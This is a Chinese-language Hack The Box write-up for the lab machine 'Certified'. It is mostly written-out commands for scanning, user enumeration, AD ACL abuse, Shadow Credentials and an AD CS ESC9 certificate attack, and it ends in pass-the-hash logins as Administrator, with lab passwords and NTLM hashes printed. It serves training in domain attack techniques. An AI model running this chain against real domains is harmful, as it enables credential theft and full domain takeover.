域渗透实战之HTB-Certified
字数 1222 2025-08-22 12:23:06
HTB-Certified 域渗透实战教学文档
初始信息
- 目标机器:DC01.certified.htb (10.10.11.41)
- 初始凭据:
- 用户名:judith.mader
- 密码:judith09
信息收集阶段
端口扫描
sudo nmap -sT --min-rate 10000 -p- 10.10.11.41 -oA nmapscan/port
grep open nmapscan/port.nmap | awk -F'/' '{print $1}' | paste -sd,
nmap -sTVC -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49683,49713,49737,62702 10.10.11.41
域名解析配置
echo "10.10.11.41 DC01.certified.htb certified.htb" > /etc/hosts
SMB服务枚举
smbclient -NL 10.10.11.41
crackmapexec smb 10.10.11.41 -u judith.mader -p 'judith09' --shares
RID暴力破解获取用户列表
crackmapexec smb 10.10.11.41 -u judith.mader -p 'judith09' --rid-brute | grep 'SidTypeUser'
获取到的用户列表:
- Administrator
- Guest
- krbtgt
- DC01$
- judith.mader
- management_svc
- ca_operator
- alexander.huges
- harry.wilson
- gregory.cameron
AS-REPRoasting攻击尝试
impacket-GetNPUsers -dc-ip 10.10.11.41 -no-pass -request -usersfile user_list certified.htb/
BloodHound信息收集与分析
bloodhound-python -c All -u judith.mader -p judith09 -ns 10.10.11.41 -d certified.htb -dc dc01.certified.htb --zip
分析结果:
- judith.mader对management组有WriteOwner权限
- management组对management_svc用户有GenericWrite权限
- management_svc用户对ca_operator用户有GenericAll权限
权限提升路径
1. 获取management组控制权
# 更改management组的所有者为judith.mader
bloodyAD --host dc01.certified.htb -d certified.htb -u judith.mader -p 'judith09' set owner management judith.mader
# 检查WriteMembers权限
impacket-dacledit -action read -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' -dc-ip 10.10.11.41 "certified.htb/judith.mader:judith09"
# 添加WriteMembers权限
impacket-dacledit -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' -dc-ip 10.10.11.41 "certified.htb/judith.mader:judith09"
# 将judith.mader加入management组
bloodyAD --host dc01.certified.htb -d certified.htb -u judith.mader -p 'judith09' add groupMember 'management' 'judith.mader'
2. 利用Shadow Credentials获取management_svc的hash
# 使用pywhisker添加影子凭证
python pywhisker.py -d "certified.htb" -u "judith.mader" -p judith09 --target management_svc --action add
# 使用PKINITtools获取TGT
python gettgtpkinit.py -cert-pfx t0cZeyin.pfx -pfx-pass Ryk4iT9K3g7uEgqSfFG1 certified.htb/management_svc management_svc.ccache
# 设置环境变量
export KRB5CCNAME=management_svc.ccache
# 获取NTLM hash
python getnthash.py -key 3bff551f32ba6bc443866ce6a16d3d3c548785c40735c30d42a756824bb4c5ca certified.htb/management_svc
获取到的management_svc的NTLM hash: a091c1832bcdd4677c28b5a6a1295584
3. 使用evil-winrm连接
evil-winrm -i dc01.certified.htb -u management_svc -H 'a091c1832bcdd4677c28b5a6a1295584'
进一步权限提升
1. AD证书枚举
certipy-ad find -u judith.mader@certified.htb -p judith09 -dc-ip 10.10.11.41
发现存在"No Security Extension"漏洞(ESC9)
2. 利用ESC9漏洞
# 修改ca_operator的密码
net user ca_operator redteam /DOMAIN
# 更改ca_operator的userPrincipalName为Administrator
certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
# 请求易受攻击的证书模板
certipy-ad req -username ca_operator@certified.htb -p redteam -ca certified-DC01-CA -template CertifiedAuthentication -debug
# 使用证书进行身份验证获取Administrator的NT哈希
certipy-ad auth -pfx administrator.pfx -username administrator -domain certified.htb
获取到的Administrator的NTLM hash: 0d5b49608bbce1751f708748f67e2d34
3. 使用evil-winrm以Administrator身份连接
evil-winrm -i dc01.certified.htb -u administrator -H '0d5b49608bbce1751f708748f67e2d34'
关键知识点总结
-
ACL滥用:
- WriteOwner权限允许更改对象的所有者
- WriteMembers权限允许修改组成员
- GenericWrite权限允许修改对象属性
-
Shadow Credentials攻击:
- 需要目标系统为Windows Server 2016以上
- 需要写入目标对象的msDS-KeyCredentialLink属性权限
- 使用pywhisker工具添加影子凭证
- 使用PKINITtools获取TGT和NTLM hash
-
AD CS攻击(ESC9):
- 利用"No Security Extension"漏洞
- 需要控制对证书模板有权限的账户
- 使用certipy-ad工具进行证书请求和认证
-
工具链:
- bloodyAD: 用于AD对象操作
- impacket-dacledit: 用于ACL编辑
- pywhisker: 用于影子凭证攻击
- PKINITtools: 用于基于证书的Kerberos认证
- certipy-ad: 用于AD CS攻击
- evil-winrm: 用于远程连接Windows主机